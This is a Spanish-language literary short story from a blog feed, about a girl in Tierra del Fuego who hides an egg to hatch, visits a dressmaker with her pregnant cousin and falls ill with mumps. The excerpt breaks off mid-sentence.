tag:blogger.com,1999:blog-50856407137301296772024-03-05T05:55:37.446-08:00el blog que salvará al mundoUnknownnoreply@blogger.comBlogger914125tag:blogger.com,1999:blog-5085640713730129677.post-88030460344623241142019-09-09T14:45:00.000-07:002021-02-17T11:07:05.268-08:00Yámana<div dir="ltr" style="text-align: left;" trbidi="on">
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 12pt; padding: 0pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">4</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
</h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Lupe abría la heladera cada cinco minutos para cerciorarse de que la media docena de huevos siguiera ahí, en la esquina del estante, esperando a ser llevada a la escuela el lunes. Los amaba porque eran suyos. Miguel la había descubierto sentada en el cajón de verduras con el cuerpo adentro de la heladera y la había amenazado con tirar los huevos a la mierda. Decía que así se iba todo el frío. Todo el </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: italic; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">frío</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">. Lupe miraba a través del vidrio congelado de la ventana de la cocina, la casa de nieve del otro lado. El auto de nieve, las veredas de nieve. El frío de la heladera le daba risa. Sacó la huevera y se la escondió debajo del camisón. Comió un calafate del tupper que se habían traído del asado. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Puso los seis huevos sobre la cama y los hizo rodar por el acolchado. Paola le había dicho que de los huevos nacían los pollitos, ella había visto un par en la casa de su abuela. Lupe eligió el más oscuro porque tenía una mancha de caca y algunas plumas blancas adheridas a la cáscara. Necesitaba un nuevo animal, sabía que eran necesarios para protegerse de cualquier cosa que anduviera por la isla.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Juntó ramas, hojas y tierra, la toalla con la que Juana se teñía el pelo y una lámpara de su mesita de luz. Construyó el nido en el estante más alto de la casa, encima de la biblioteca de madera de su cuarto. Palmiro no llegaría nunca. Encendió la lámpara bien cerca para que le diera calor. Al lado del nido sentó a su muñeca sin pelo y le colgó un cartel del cuello: </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: italic; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">No tocar. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
</h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: italic; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Esa mañana, mientras preparaba el desayuno, Juana les contó que la prima Roxana se casaba y las había elegido para llevar los anillos. Dijo que era una función muy importante y hasta se tendrían que hacer vestidos. Lupe se imaginó vestida como una reina con guantes y sombrero, no pudo evitar sonreír, respiró hondo inflando el pecho. Después de la escuela las buscaba su prima para ir a la modista. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">En la escuela nadie se dio cuenta de que a Lupe le faltaba un huevo de los seis que les habían pedido. Había que hacerles un agujero en cada punta, la maestra mostró cómo hacerlo con un escarbadientes. Después había que soplar con fuerza por uno de los agujeros y todo el líquido saldría por el otro. Lupe lo intentó, pero el contacto de sus labios con la clara viscosa del huevo le dio una arcada. Cuando la maestra lo hizo por ella, como ya lo había hecho por la mitad de la clase, ni se detuvo a fijarse cuántos había en la huevera. Después de rellenar las cáscaras con chocolate, dejó que los chicos lamieran las cucharas y los recipientes, cualquier superficie con restos de azúcar. Lupe se pasó la tarde pensando en su nueva mascota, el pollito. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Dejó los huevos al fondo del primer estante de la heladera y se fue corriendo al cuarto a verlo. Alguien había apagado la lámpara sol. Acomodó un par de hojas sobre el nido. Nada más parecía haber cambiado, ¿podría alimentar a su mascota con calafates? Era lo único que había en la heladera, el chocolate no podía hacerle bien. Tendría que ver cuando naciera. Buscó la parte limpia y besó la cáscara.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—Te quiero.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
</h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Roxana las pasó a buscar. La tía le había prestado su auto porque la modista quedaba en La Colina y no se podía ir a pie. Venía escuchando la radio y bajó el volumen cuando subieron las chicas.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—Es el programa de mis compañeros del colegio —dijo y sonrió con su cara redonda. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Cuando intentó arrancar, el auto se sacudió un poco y se apagó. Roxana giró las llaves, la radio también se calló y volvió con más volumen, lo bajó de nuevo y avanzó por el barro congelado. Camila iba en el asiento del acompañante y le pidió que se pusiera el cinturón. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">— ¿Saben que además del casamiento voy a tener un bebé? No, claro que no lo sabían. –Se rio sola.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">— ¿Te hiciste un aborto? —preguntó Lupe desde atrás sin pensar, algo que había escuchado decir un día a Juana en la cocina. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
</h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">La modista trajo tres catálogos que abrió sobre el mostrador en las páginas que tenía marcadas. Las hojas empezaban a ponerse amarillas. Había cuatro opciones de vestidos. Lupe y Camila coincidieron en sentirse secretamente decepcionadas. La modista hablaba y hablaba de las características de cada vestido, a Roxana se le pusieron los ojos rojos, y a Lupe le pareció que solo ella se había dado cuenta. Quizás ni Roxana lo sabía, porque seguía asintiendo y mirando los vestidos de las fotos como si nada. Ninguna de las tres hablaba, parecían coincidir en el poco entusiasmo respecto a las opciones que les mostraba. A la señora eso la ponía nerviosa. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—Mirá, este es el que más le gustó tu abuela, y este a tu abuelo Bernardo. –Señaló al que tenía un moño enorme en el pecho y al que era largo hasta los tobillos. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—Bernardo no es mi abuelo —dijo Lupe.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—… Pero tendrían que decidirlo hoy, ya es última hora. Tu mamá me dijo que el casamiento es el 25, ¿no es cierto? Ya estamos tarde. –Le hablaba a la nuca de Roxana, que tenía la cabeza gacha y la mirada fija en las revistas. Seguía sin hablar. La señora fue levantando la voz, la cabeza le bailaba sobre el cuello, las manos tensas sobre la revista arrugaban la página. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">— ¿Se dieron cuenta de que es siempre la misma modelo con distintos vestidos? —dijo Roxana.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Entonces hasta la modista hizo silencio. A Lupe se le puso la cara colorada, sintió un fuerte calor en las mejillas. Camila empezó a llorar, se lo agradeció agarrándola de la mano.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">— Mejor volvemos otro día —dijo Roxana caminando hasta la puerta, las chicas la siguieron de cerca. Cuando entraron al auto, a las tres les agarró un ataque de risa. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">— ¡Eran horribles!</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—Casarse es horrible.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
</h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">En la heladera no había nada, ni un rastro de chocolate, la huevera vacía. Un atraco y un solo sospechoso: Miguel. Lupe corrió a la habitación, trepó la biblioteca, y respiró hondo al ver que el huevo estaba a salvo. Tragó saliva, tenía la garganta cerrada. Salió para el fondo, no quería cruzarse a su papá. Ahí, en la tierra seca donde no crecía el pasto, escaseaban las lombrices. Lupe las cortaba por la mitad y las mandaba al hospital de bichos, donde los pedazos cobraban vida. Así las reproducía buscando repoblar el jardín. Palmiro dio un par de vueltas alrededor suyo y cayó rendido, sus cuatro patas escondidas debajo del cuerpo. A medida que se fue moviendo el sol, la temperatura empezó a bajar. El viento en la copa de los árboles movía las hojas y hacía tanto ruido que Palmiro se levantó. Lupe seguía con su trabajo de cirujana. El perro empezó a soltar un aullido suave. Lupe tembló de frío. Después de un rato, apareció otro perro y se sentó contra su espalda, dándole abrigo. Palmiro también se acercó, y aparecieron tres perros más que se acostaron alrededor de ella, hasta que la cubrieron como un colchón y como una manta. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Lupe se quedó dormida, soñó que iba corriendo por la ruta hacia Lapataia, su bahía preferida. Pasaba el cartel del fin del mundo. Buenos Aires 3.063 km, Alaska 17.848 km. Corría por la pasarela de madera. La cara se le empezaba a inflar. Llegaba agitada al extremo sur del planeta, desde donde le parecía que podía lanzarse un astronauta hacia el espacio. De pie sobre un conchal estaba Guido, vestido como un yámana, la piel cubierta de grasa.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">—La bahía está hecha de madera. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Y a Lupe le estallaba la cara.</span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">En la guardia dijeron que tenía paperas y que debía estar en cama durante al menos dos semanas. </span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: italic; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Paperas, paperas.</span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"> Pensó que su enfermedad tenía nombre de hámster, que durante un mes en la cama iba a salirle una capa de pelo en todo el cuerpo e iba a crecerle una cola. Lloró pensando en los huevos de pascua. </span></h3>
<h3 dir="ltr" style="background-color: white; line-height: 1.7999999999999998; margin-bottom: 0pt; margin-top: 0pt; padding: 4pt 0pt 8pt; text-align: justify;">
<span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;"><span class="Apple-tab-span" style="white-space: pre;"> </span></span><span style="background-color: transparent; color: black; font-family: Arial; font-size: 12pt; font-style: normal; font-variant-caps: normal; font-variant-east-asian: normal; font-variant-ligatures: normal; font-variant-position: normal; font-weight: 400; text-decoration: none; vertical-align: baseline; white-space: pre-wrap;">Las paperas eran la peor enfermedad posible. Pasaban las semanas y los síntomas no se iban, los pasillos de su mente estaban encendidos. Se aburría durante las tardes largas con la casa vacía, Cristina lavando los platos, pasando el trapo por la cocina, el sonido de la radio que apenas llegaba a la pieza. Había mudado el nido al lado de la cama, al cajón de la mesita de luz, y a veces se guardaba el huevo en el bolsillo del pijama para 